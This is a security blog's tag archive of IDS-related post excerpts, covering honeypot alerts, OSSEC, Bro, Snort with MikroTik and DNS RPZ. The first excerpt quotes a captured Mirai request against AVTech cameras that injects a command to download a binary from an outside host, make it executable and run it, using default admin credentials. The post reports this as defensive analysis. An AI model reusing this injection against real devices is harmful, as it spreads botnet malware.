Posts Tagged ‘IDS’

Yet another Mirai strain targeting AVTech devices

My Suricata IDS triggered on an HTTP request to my honeypot this morning: ET WEB_SERVER Suspicious Chmod Usage in URI   Further investigation revealed this incoming request: POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/Arm1%20http://172.247.x.y:85/Arm1;chmod%200777%20/tmp/Arm1;/tmp/Arm1 HTTP/1.1 Host: [redacted] Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.13.0 Content-Length: 0 Authorization: Basic YWRtaW46YWRtaW4=   The request seems to take advantage of a […]

Near-realtime blacklist warnings with NetFlow, Perl and OTX

Installing IDS sensors in your network for monitoring traffic is not always feasible, for several possible reasons. Perhaps the network infrastructure is too complex, leading to blind spots. Maybe the affected network links have higher capacity than your ad hoc IDS sensor, causing packet loss on the sensor. Or your company may be organized in […]

The inherent risks of visualizing firewall probes

For some time now, I’ve been graphing all unsolicited network traffic destined for my network. For instance, it’s quite useful for detecting slow scans, which will show up as the diagonally aligned green scatter points in this plot (click to enlarge). Other scans and probes often happen faster, when the attacker isn’t much concerned about […]

Logging WordPress activity to OSSEC

Today I came across this blog article, explaining how to make WordPress log suspicious activity to an audit log file, which in turn can be monitored by OSSEC. Everything mentioned in the article was all fine and dandy, until I read the last paragraph: “Note that for this feature to work, you have to use […]

Inspirational HTTP access log poetry

Today my IDS reported of suspicious DELETE attempts in one of my web server log files. Upon closer inspection, it turned out to be some poetic web crawler: – – [30/Dec/2015:06:00:36 +0100] “DELETE your logs. Delete your installations. Wipe everything clean. Walk out into the path of cherry blossom trees and let your motherboard […]

Malware detection with DNS RPZ and OSSEC

Building upon a sysadvent article I wrote at work, I’ve set up a dedicated Response Policy Zone using the freely available data files from the Malware Domain Blocklist. There are different ways to do this, but for this particular purpose I’ve imported the text file and generated a single zone file locally. BIND supports up […]

Installing Bro, the network security monitor, on a Raspberry Pi

In the continuing quest to install security software on Raspberry Pis, testing their capacity to be used as small nodes that can be placed here and there on demand, the time has come for installing Bro. The hardware/OS in question is a Raspberry Pi 2, with 1G RAM and 4 CPU cores. It’s running the […]

Streaming pcap to a dummy interface

In an earlier article, I described how to stream captured network traffic to a remote host for IDS analysis with Snort. Mikrotik units can stream captured traffic elsewhere using the TaZmen Sniffer Protocol (TZSP). tcpdump and Wireshark natively decode this protocol, but unfortunately it doesn’t seem to be supported by any other of the large […]

IDS with MikroTik and Snort

UPDATE: For more flexible streaming, and for not having to hack your Snort init scripts, you might want to consider this article as well. Now back to the scheduled program. Port mirroring on a strategically positioned switch can be the best setup for an IDS sensor. If that’s not an option, RouterOS-based MikroTik devices support […]